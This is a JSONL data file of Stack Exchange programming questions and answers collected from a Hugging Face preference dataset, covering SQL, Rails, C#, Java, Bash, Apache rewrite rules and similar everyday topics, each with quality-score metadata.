{"id": "hf_592818031e84", "question": "<p><a href=\"http://thedailywtf.com/Articles/The-Hot-Room.aspx\" rel=\"noreferrer\">http://thedailywtf.com/Articles/The-Hot-Room.aspx</a></p>\n\n<p>You see how at the bottom there're links to the next and previous articles (\"Unprepared For Divide_By_Zero\" and \"A Completely Different Game\")? How do I do that, but selecting the next and previous non-private articles? This works for selecting the next article:</p>\n\n<pre><code>SELECT * FROM articles WHERE id &gt; ? AND private IS NULL\n</code></pre>\n\n<p>But I cannot find a way to select the previous article.</p>\n\n<p>What is the proper/efficient way to do this, preferably in one query?</p>\n", "question_body": "", "answer": "Here's how I would do it:\n```\n```\n-- next\nSELECT * FROM articles WHERE id > ? AND private IS NULL ORDER BY id ASC LIMIT 1\n\n-- previous\nSELECT * FROM articles WHERE id < ? AND private IS NULL ORDER BY id DESC LIMIT 1\n```\n```\nI'm not sure how to do it in one query. The only thing I can think of is possibly getting both the article you're displaying and the next article in one query, but that might be too confusing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:35.312500"}
{"id": "hf_5c35d2086cf4", "question": "<p>I have two databases with the same structure. The tables have an integer as a primary key as used in Rails.</p>\n\n<p>If I have a patients table, I will have one patient using primary key 123 in one database and another patient using the same primary key in the other database.</p>\n\n<p>What would you suggest for merging the data from both databases?</p>\n", "question_body": "", "answer": "Set both your databases up with entries in config/database.yml, then generate a new migration.\nUse ActiveRecord::Base.establish_connection to switch between the two databases in the migration like this:\n```\n```\ndef self.up\n  ActiveRecord::Base.establish_connection :development\n  patients = Patient.find(:all)\n  ActiveRecord::Base.establish_connection :production\n  patients.each { |patient| Patient.create patient.attributes.except(\"id\") }\nend\n```\n```\nYMMV depending on the number of records and the associations between models.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:35.335862"}
{"id": "hf_82a794bc861d", "question": "<p>I have seen Jetbrain's ReSharper tool on many \"must-have\" tool lists. I've installed it on a few occasions over the last few years and it's turned my Visual Studio sluggish and erratic. I generally uninstall it after a week or two because it make VS flaky, I want to like it, but I can't get past the instability. </p>\n\n<p>So what's the deal? Am I having bad luck? Does the tool have issues but the usefulness out weighs the issues? Anyone else out there have trouble with it? Are there some troublesome options to turn off?</p>\n", "question_body": "", "answer": "I've experienced a lot of what you're talking about over the years as well, but I have to say having recently moved to the 4.0 version of ReSharper, a lot of that overhead has been cut down dramatically and it seems to be quite a bit more functional to boot.\nTry it again. What's the worst that can happen? You'll uninstall it again? No big loss.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:35.394008"}
{"id": "hf_5325b08eb496", "question": "<p>After maintaining lots of code littered with #region (in both C# and VB.NET), it seems to me that this construct is just a bunch of \"make work\" for the programmer. It's work to PUT the dang things into the code, and then they make searching and reading code very annoying.</p>\n\n<p>What are the benefits? Why do coders go to the extra trouble to put this in their code.</p>\n\n<p>Make me a believer!</p>\n", "question_body": "", "answer": "Often times, both partials and #regions are used as a crutch for bad design (e.g. class is too big or tries to do too many things).\nThe\nbest\nuse I've had for #regions so far is the grouping of functionality that is seen in many different classes. For example, value objects that have getters, setters, constructors and supporting fields. I might very well group those ideas into regions. Its a matter of opinion, however, as to whether that makes code cleaner or harder to read.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:35.416993"}
{"id": "hf_c1a044e2cb92", "question": "<p>Is there a Generics Friendly way of using Collection.EMPTY_LIST in my Java Program.</p>\n\n<p>I know I could just declare one myself, but I'm just curious to know if there's a way in the JDK to do this.</p>\n\n<p>Something like <code>users = Collections&lt;User&gt;.EMPTY_LIST;</code></p>\n", "question_body": "", "answer": "By doing the following:\n```\n```\nList<User> users = Collections.emptyList();\n```\n```\nThe type of the returned list from\n```\nCollections.emptyList();\n```\nwill be\ninferred\nas a\n```\nString\n```\ndue to the left-hand-side of the assignment.  However, if you prefer to not have this inference, you can define it explicitly by doing the following:\n```\n```\nList<User> users = Collections.<User>emptyList();\n```\n```\nIn this particular instance, this may appear as redundant to most people (in fact, I've seen very little code out in the wild that makes use of explicit type arguments), however for a method with the signature:\n```\nvoid doStuff(List<String> users)\n```\nit would be perfectly clean for one to invoke\n```\ndoStuff()\n```\nwith an explicit type argument as follows:\n```\n```\ndoStuff(Collections.<String>emptyList());\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:35.440015"}
{"id": "hf_5641c7b1c9ef", "question": "<p>How do I get modrewrite to ENTIRELY ignore the /vip/ directory so that all requests pass directly to the folder?</p>\n\n<pre><code>&lt;IfModule mod_rewrite.c&gt;\nRewriteEngine On\nRewriteBase /\nRewriteRule ^vip/.$ - [PT]\nRewriteCond %{REQUEST_FILENAME} !-f\nRewriteCond %{REQUEST_FILENAME} !-d\nRewriteRule . /index.php [L]\n&lt;/IfModule&gt;\n</code></pre>\n\n<p>See also <a href=\"https://stackoverflow.com/questions/163302/how-do-i-ignore-a-directory-in-modrewrite\">How do I ignore a directory in mod_rewrite?</a>  -- reposting because I wasn't sufficiently clear about the problem first time around. </p>\n", "question_body": "", "answer": "Replace:\n```\n```\nRewriteRule ^vip/.$ - [PT]\n```\n```\nwith:\n```\n```\nRewriteRule ^vip/.*$ - [PT,L]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:35.463825"}
{"id": "hf_7d3831176d60", "question": "<p>Does anyone have a good resource on dlls and how they are used / generated in Visual Studio?  A few questions I'm rather hazy on specifically are:</p>\n\n<ul>\n<li>How refresh files work</li>\n<li>How dll version numbers are generated</li>\n<li>The difference between adding a reference by project vs browsing for the specific dll</li>\n</ul>\n\n<p>Any other tips are welcome as well.</p>\n", "question_body": "", "answer": "See the question on\nDLL information\nfor some background.\nVersion numbers for unmanaged DLLs are stored in the DLL's rc file, same as for an exe.  For managed DLLs I believe it uses AssemblyFileInfo attribute, usually in AssemblyInfo.cs for a Visual Studio generated project:\n```\n```\n[assembly: AssemblyFileVersion(\"1.0.0.0\")]\n```\n```\nIf you add the reference by project then VS will be able to copy the correct flavour (debug/release) of the referenced assembly to your output directory. It can also use this information to implicitly add a dependency between the projects so it builds then in the right order.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:35.487166"}
{"id": "hf_cbfb50d3ee4c", "question": "<p>Is there a way to get stored procedures from a SQL Server 2005 Express database using C#? I would like to export all of this data in the same manner that you can script it our using SQL Server Management Studio, without having to install the GUI.</p>\n\n<p>I've seen some references to do thing via the PowerShell but in the end a C# console app is what I really want.</p>\n\n<p><strong><em>To clarify....</em></strong></p>\n\n<p>I'd like to script out the stored procedures. The list via the <code>Select * from sys.procedures</code> is helpful, but in the end I need to script out each of these.</p>\n", "question_body": "", "answer": "This blog post\nsuggests running this against your database:\n```\n```\nselect * from sys.procedures\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:35.545494"}
{"id": "hf_346db0421b50", "question": "<p>I want to use a timer in my simple <a href=\"http://en.wikipedia.org/wiki/.NET_Framework\" rel=\"nofollow noreferrer\">.NET</a> application written in C#. The only one I can find is the Windows.Forms.Timer class. I don't want to reference this namespace just for my console application.  </p>\n\n<p>Is there a C# timer (or timer like) class for use in console applications?</p>\n", "question_body": "", "answer": "System.Timers.Timer\nAnd as MagicKat says:\nSystem.Threading.Timer\nYou can see the differences here:\nhttp://intellitect.com/system-windows-forms-timer-vs-system-threading-timer-vs-system-timers-timer/\nAnd you can see MSDN examples here:\nhttp://msdn.microsoft.com/en-us/library/system.timers.timer(VS.80).aspx\nAnd here:\nhttp://msdn.microsoft.com/en-us/library/system.threading.timer(VS.80).aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:35.569074"}
{"id": "hf_3a40bffaae6e", "question": "<p>I'm writing an implementation of the XXTEA encryption algorithm that works on \"streams\", ie, can be used like: crypt mykey &lt; myfile > output.</p>\n\n<p>One of the requisites is that it doesn't have access to the file at all (it only reads an fixed size block until find an EOF). The algorithm needs that the data bytes is multiple of 4, so its needed to add a padding.</p>\n\n<p>For plain text a good solution is to pad with NULLs, and in the decryption just ignore the NULLs, but the same strategy cannot be used for binary streams (that can contain embedded NULLs).</p>\n\n<p>I've read the common solutions, like padding with the number of missing chars (if it miss 3 chars, then append an 3, 3, 3 at the end) and etc, but I wonder: theres a more elegant solution?</p>\n", "question_body": "", "answer": "Read:\nhttp://msdn.microsoft.com/en-us/library/system.security.cryptography.paddingmode.aspx\nIt has a list of common padding methods, like:\nPKCS7 - The PKCS #7 padding string consists of a sequence of bytes, each of which is equal to the total number of padding bytes added.\nThe ANSIX923 padding string consists of a sequence of bytes filled with zeros before the length.\nThe ISO10126 padding string consists of random data before the length.\nExamples:\nRaw data: 01 01 01 01 01\nPKCS #7: 01 01 01 01 01 03 03 03\nANSIX923 01 01 01 01 01 00 00 03\nISO10126: 01 01 01 01 01 CD A9 03", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:35.596055"}
{"id": "hf_5dd1be983f36", "question": "<p>I would like to compress a folder and all its sub-folders/files, and email the zip file as an attachment. What would be the best way to achieve this with Python? </p>\n", "question_body": "", "answer": "Look at\nzipfile\nfor compressing a folder and it's subfolders.\nLook at\nsmtplib\nfor an email client.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:35.646689"}
{"id": "hf_5e42c943b33e", "question": "<p>In a <a href=\"https://stackoverflow.com/questions/168408/c-alternatives-to-void-pointers-that-isnt-templates\">related question</a> I asked about creating a generic container. Using polymorphic templates seems like the right way to go.</p>\n\n<p>However, I can't for the life of me figure out how a destructor should be written. I want the owner of the memory allocated to be the containers even if the example constructor takes in an array of <code>T</code> (along with its dimensions), allocated at some other point.</p>\n\n<p>I would like to be able to do something like</p>\n\n<pre><code>MyContainer&lt;float&gt; blah();\n...\ndelete blah;\n</code></pre>\n\n<p>and</p>\n\n<pre><code>MyContainer&lt;ComplexObjectType*&gt; complexBlah();\n...\ndelete complexBlah;`\n</code></pre>\n\n<p>Can I do something like this? Can I do it without smart pointers?</p>\n\n<p>Again, thanks for your input.</p>\n", "question_body": "", "answer": "It can be done, but this is pretty advanced stuff.\nYou'll need to use something like the boost MPL library (\nhttp://www.boost.org/doc/libs/1_36_0/libs/mpl/doc/index.html\n) so that you can get MyContainer's destructor to select the right kind of destructing it will need to do on individual items on the container. And you can use the boost TypeTraits library to decide what kind of deleting is required (\nhttp://www.boost.org/doc/libs/1_36_0/libs/type_traits/doc/html/index.html\n). I'm sure it will have a trait that will let you decide if your contained type is a pointer or not, and thus decide how it needs to be destructed. You may need to implement traits yourself for any other types you want to use in MyContainer that have any other specific deletion requirements. Good luck with it! If you solve it, show us how you did it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:35.716018"}
{"id": "hf_764ba6ad2158", "question": "<p>I like having my warning level set at W4 but all new projects start at W3.  Is there some way to change the default value for warning levels for new projects?</p>\n", "question_body": "", "answer": "I don't know how to do it at the IDE but you cand always edit the new project templates at:\n```\n```\n%PROGRAM_FILES%\\Microsoft Visual Studio 9.0\\Common7\\IDE\\ProjectTemplates\\\n```\n```\nIf you're using the express version there could be a minor variation in the path:\n```\n```\n%PROGRAM_FILES%\\Microsoft Visual Studio 9.0\\Common7\\IDE\\{Version}\\ProjectTemplates\\\n```\n```\nWhere {Version} is the express flavor you are using, VCSExpress, VBExpress, etc.\nThe templates are zip files, just edit the project changing:\n```\n```\n<WarningLevel>3</WarningLevel>\n```\n```\nto\n```\n```\n<WarningLevel>4</WarningLevel>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:35.739643"}
{"id": "hf_863680339a0a", "question": "<p>this code always returns 0 in PHP 5.2.5 for microseconds:</p>\n\n<pre><code>&lt;?php\n$dt = new DateTime();\necho $dt-&gt;format(\"Y-m-d\\TH:i:s.u\") . \"\\n\";\n?&gt;\n</code></pre>\n\n<p>Output:</p>\n\n<pre><code>[root@www1 ~]$ php date_test.php\n2008-10-03T20:31:26.000000\n[root@www1 ~]$ php date_test.php\n2008-10-03T20:31:27.000000\n[root@www1 ~]$ php date_test.php\n2008-10-03T20:31:27.000000\n[root@www1 ~]$ php date_test.php\n2008-10-03T20:31:28.000000\n</code></pre>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "This seems to work, although it seems illogical that\nhttp://us.php.net/date\ndocuments the microsecond specifier yet doesn't really support it:\n```\n```\nfunction getTimestamp()\n{\n        return date(\"Y-m-d\\TH:i:s\") . substr((string)microtime(), 1, 8);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:35.778502"}
{"id": "hf_b7372fc2591f", "question": "<p>I have a form with many input fields.</p>\n\n<p>When I catch the submit form event with jQuery, is it possible to get all the input fields of that form in an associative array?</p>\n", "question_body": "", "answer": "Associative? Not without some work, but you can use generic selectors:\n```\n```\nvar items = new Array();\n\n$('#form_id:input').each(function (el) {\n    items[el.name] = el;\n});\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:35.917961"}
{"id": "hf_ae2c9ba28fba", "question": "<p>How do I iterate over a range of numbers in Bash when the range is given by a variable?</p>\n\n<p>I know I can do this (called \"sequence expression\" in the Bash <a href=\"http://www.gnu.org/software/bash/manual/bashref.html#Brace-Expansion\" rel=\"noreferrer\">documentation</a>):</p>\n\n<pre><code> for i in {1..5}; do echo $i; done\n</code></pre>\n\n<p>Which gives:</p>\n\n<blockquote>\n  <p>1 <br/>\n  2 <br/>\n  3 <br/>\n  4 <br/>\n  5</p>\n</blockquote>\n\n<p>Yet, how can I replace either of the range endpoints with a variable? This doesn't work:</p>\n\n<pre><code>END=5\nfor i in {1..$END}; do echo $i; done\n</code></pre>\n\n<p>Which prints:</p>\n\n<blockquote>\n  <p>{1..5}</p>\n</blockquote>\n", "question_body": "", "answer": "You can use\n```\n```\nfor i in $(seq $END); do echo $i; done\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:35.941382"}
{"id": "hf_533ab81b31bd", "question": "<p>Greetings,</p>\n\n<p>I need to include a property in my class which is a collection of System.IO.FileInfo objects.  I am not really sure how to do this and how I would add and removed objects from an instance of the the class (I would assume like any other collection).    </p>\n\n<p>Please let me know if I need to add more information.</p>\n\n<p>Thank you</p>\n\n<p>Update: Am I approaching this the wrong way? I have read comments that adding to a collection which is a property is bad practice.  If this is true what is good practice?  I have a bunch of objects I need to store in a collection.  The collection will be added to and removed from before a final action will be taken on it.  Is this a correct approach or am I missing something?</p>\n", "question_body": "", "answer": "```\nFile\n```\nis a static class. So let's assume you meant\n```\nFileInfo\n```\n.\nThere are lots of ways, you can:\nExpose a private field\nUse Iterators\nExpose a private field through a ReadOnlyCollection<>\nFor example,\n```\n```\nclass Foo {\n    public IEnumerable<FileInfo> LotsOfFile {\n        get {\n            for (int i=0; i < 100; i++) {\n                yield return new FileInfo(\"C:\\\\\" + i + \".txt\");\n            }\n        }\n    }\n    private List<FileInfo> files = new List<FileInfo>();\n    public List<FileInfo> MoreFiles {\n        get {\n            return files;\n        }\n    }\n    public ReadOnlyCollection<FileInfo> MoreFilesReadOnly {\n        get {\n            return files.AsReadOnly();\n        }\n    }\n\n}\n```\n```\nWith this code, you can easily add to the property\n```\nMoreFiles\n```\n:\n```\n```\nFoo f = new Foo();\nf.MoreFiles.Add(new FileInfo(\"foo.txt\"));\nf.MoreFiles.Add(new FileInfo(\"BAR.txt\"));\nf.MoreFiles.Add(new FileInfo(\"baz.txt\"));\nConsole.WriteLine(f.MoreFiles.Count);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:35.999524"}
{"id": "hf_7876797efe8f", "question": "<p>I was looking into sorting tables by a column designated given some input, and from what I've found, there is no easy way to do this. The best I've found is a switch statement:  </p>\n\n<pre><code>SELECT Column1, Column2, Column3, Column4\nFROM Table\nORDER BY CASE WHEN @OrderBY = 'Column1' THEN Column1\n              WHEN @OrderBY = 'Column2' THEN Column2\n              WHEN @OrderBY = 'Column3' THEN Column3\n              WHEN @OrderBY = 'Column4' THEN Column4\n</code></pre>\n\n<p>Is it possible to do this without having a <code>CASE</code> statement like that? If the table gets bigger and more columns need to be sorted by, this could become messy.</p>\n\n<p>The only way I've been able to do this is by just concatenating a big SQL string, which sort of defeats the advantages of Stored Procedures, and makes the SQL hard to write and maintain.</p>\n", "question_body": "", "answer": "I generally convert the stored procedure to a function that returns a table ( so you can select FROM it ... and add the dynamic order by columns to it in the application code:\n```\n```\nSelect\n    *\nFrom\n   myTableFUnction()\nOrder by\n   1, 2, 3, 6  <-- defined by application code in the SQL for the query\n```\n```\nRon", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:36.106688"}
{"id": "hf_be70ea417586", "question": "<p>I would like users to submit a URL that is valid but also is an image, ending with .jpg, .png, or .gif.</p>\n", "question_body": "", "answer": "```\n(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*\\.(?:jpg|gif|png))(?:\\?([^#]*))?(?:#(.*))?\n```\nThat's a (slightly modified) version of the official URI parsing regexp from\nRFC 2396\n. It allows for\n```\n#fragments\n```\nand\n```\n?querystrings\n```\nto appear after the filename, which may or may not be what you want. It also matches any valid domain, including\n```\nlocalhost\n```\n, which again might not be what you want, but it could be modified.\nA more traditional regexp for this might look like the below.\n```\n^https?://(?:[a-z0-9\\-]+\\.)+[a-z]{2,6}(?:/[^/#?]+)+\\.(?:jpg|gif|png)$\n          |-------- domain -----------|--- path ---|-- extension ---|\n```\nEDIT\nSee my\nother comment\n, which although isn't answering the question as completely as this one, I feel it's probably a more useful in this case. However, I'm leaving this here for\nkarma-whoring\ncompleteness reasons.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:36.130508"}
{"id": "hf_7327620eb2ed", "question": "<p>When I retrieve a record using LINQ that has a DateTime field only the ToString() is available. </p>\n\n<p>Where are all the other DateTime methods? </p>\n\n<p>I have to Convert.ToDateTime the DateTime? that the Field returns?</p>\n\n<p>What is the difference between (DateTime) and (DateTime?)</p>\n", "question_body": "", "answer": "The namespace collision aside, I know that SQL's datetime has a different epoch (and therefore a different range of valid dates) than C# datetime.\nTry to send a\n```\nnew DateTime()\n```\nto a stored procedure and see what I mean.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:36.154686"}
{"id": "hf_5a8d35f265c5", "question": "<p>Is it possible, in Java, to enforce that a class have a specific set of subclasses and no others? For example:</p>\n\n<pre><code>public abstract class A {}\npublic final class B extends A {}\npublic final class C extends A {}\npublic final class D extends A {}\n</code></pre>\n\n<p>Can I somehow enforce that no other subclasses of A can ever be created?</p>\n", "question_body": "", "answer": "Give class\n```\nA\n```\na constructor with package-level accessibility (and no other constructors).\nThanks, Dave L., for the bit about no other constructors.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:36.178326"}
{"id": "hf_ebf348b9c29f", "question": "<p>What is the best way to persist/save printer settings in .Net?\nThere used to be a bug in .Net 1.1 in the serialization of the <code>PrinterSetting</code> object and there were some <a href=\"http://www.codeproject.com/KB/cs/printersettings.aspx\" rel=\"nofollow noreferrer\">workarounds</a> but I'm wondering if there isn't a better or easier way of doing this in the more recent versions of the framework.</p>\n\n<p>The main use case is to allow a user to define, using the standard printer setting user interfaces, all print details (including printer-specific options) for a given printer and have these saved so they get restored the next time the user prints to that printer.</p>\n", "question_body": "", "answer": "You should use the class\n```\nPrinterSettings\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:36.201965"}
{"id": "hf_164f1f1b60c2", "question": "<p>I keep hearing that Flex is open source and I figured that a great way to learn about the inner workings would be to look at it. I can easily find the Flex SDK (<a href=\"http://opensource.adobe.com/wiki/display/flexsdk/Get+Source+Code\" rel=\"noreferrer\">http://opensource.adobe.com/wiki/display/flexsdk/Get+Source+Code</a>), but I'm wanting to look at the class definitions for the MXML core library (like NumericStepper). Have I misunderstood, or is this kind of thing available somewhere?</p>\n\n<p>Note, I'm looking for the source of some core MXML components so I can see how they work internally, not for the compiler's source. Does what I've linked above have what I'm looking for and I just can't find it in the director structure?</p>\n", "question_body": "", "answer": "The open source stuff appears to be at:\n```\n```\nhttp://opensource.adobe.com/wiki/display/flexsdk/Downloads\n```\n```\nI don't know if everything is available there yet, there may be issues with third-party stuff.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:36.250302"}
{"id": "hf_e484fad92ce6", "question": "<p>I'm looking for a word processing component for .NET that would act like an embedded MS Word in my WinForm/WPF .NET app.  The main goal being for users to be able to create rich formatted text.  I don't really want to have to write a highly custom RichTextBox component.  Any suggestions?</p>\n", "question_body": "", "answer": "Obviously I have no idea what your particular project requirements are, but\nScintillaNET\nis a fabulous control and is flexible enough to do a lot more than just syntax highlighting.  I can foresee cases where it certainly wouldn't be appropriate, but it is at least worth investigating.  After a fair amount of searching it has perfectly filled a void in an application of mine where I need to do extensive contextual highlighting of prose.\nEdit\nI'm revoking this comment because I've thought about it a minute longer and the finite number of styles that Scintilla provides would make it inappropriate for rich text editing.  However, it is still an excellent solution for any situation where you can determine programmatically how styling will be applied.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:36.274263"}
{"id": "hf_4f96f60e3cb0", "question": "<p>In Javascript, I have an object:</p>\n\n<pre><code>obj = { one: \"foo\", two: \"bar\" };\n</code></pre>\n\n<p>Now, I want do do this</p>\n\n<pre><code>var a = 'two';\nif(confirm('Do you want One'))\n{\n  a = 'one';\n}\n\nalert(obj.a);\n</code></pre>\n\n<p>But of course it doesn't work.  What would be the correct way of referencing this object dynamically?</p>\n", "question_body": "", "answer": "Like this:\n```\n```\nobj[a]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:36.298513"}
{"id": "hf_d121ebbadf2a", "question": "<p>What's the best .NET communication component or protocol for very low bandwidth and intermittently connected communication (i.e.: &lt; 10 kilobits/sec)?</p>\n", "question_body": "", "answer": "Probably\n```\nSystem.Net.Sockets.\n```\n```\nSocket\n```\n. There is also a\n```\nTcpClient\n```\nand\n```\nUdpClient\n```\nin that namespace.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:36.322428"}
{"id": "hf_d50fee3508fb", "question": "<p>I am totally new to <code>SQL</code>. I have a simple select query similar to this:</p>\n\n<pre><code>SELECT COUNT(col1) FROM table1\n</code></pre>\n\n<p>There are some 120 records in the table and shown on the <code>GUI</code>.\nFor some reason, this query always returns a number which is less than the actual count.</p>\n\n<p>Can somebody please help me?</p>\n", "question_body": "", "answer": "Try\n```\n```\nselect count(*) from table1\n```\n```\nEdit:\nTo explain further,\n```\ncount(*)\n```\ngives you the rowcount for a table, including duplicates and nulls.\n```\ncount(isnull(col1,0))\n```\nwill do the same thing, but\nslightly\nslower, since\n```\nisnull\n```\nmust be evaluated for each row.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:36.362972"}
{"id": "hf_99e1ba158a23", "question": "<p>I'm trying to get into java again (it's been a few years). I never really did any GUI coding in java. I've been using Netbeans to get started with this.</p>\n\n<p>When using winforms in C# at work I use a usercontrols to build parts of my UI and add them to forms dynamically. </p>\n\n<p>I've been trying to use <code>JPanels</code> like usercontrols in C#. I created a <code>JPanel</code> form called <code>BlurbEditor</code>. This has a few simple controls on it. I am trying to add it to another panel at run time on a button event. </p>\n\n<p>Here is the code that I thought would work:</p>\n\n<pre><code>mainPanel.add(new BlurbEditor());\nmainPanel.revalidate();\n//I've also tried all possible combinations of these too\n//mainPanel.repaint();\n//mainPanel.validate();\n</code></pre>\n\n<p>This unfortunately is not working. What am I doing wrong?</p>\n", "question_body": "", "answer": "Try\n```\nmainPanel.invalidate()\n```\nand then if necessary,\n```\nmainPanel.validate()\n```\n.  It also might be worth checking that you're doing this all in the event dispatch thread, otherwise your results will be spotty and (generally) non-deterministic.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:36.386749"}
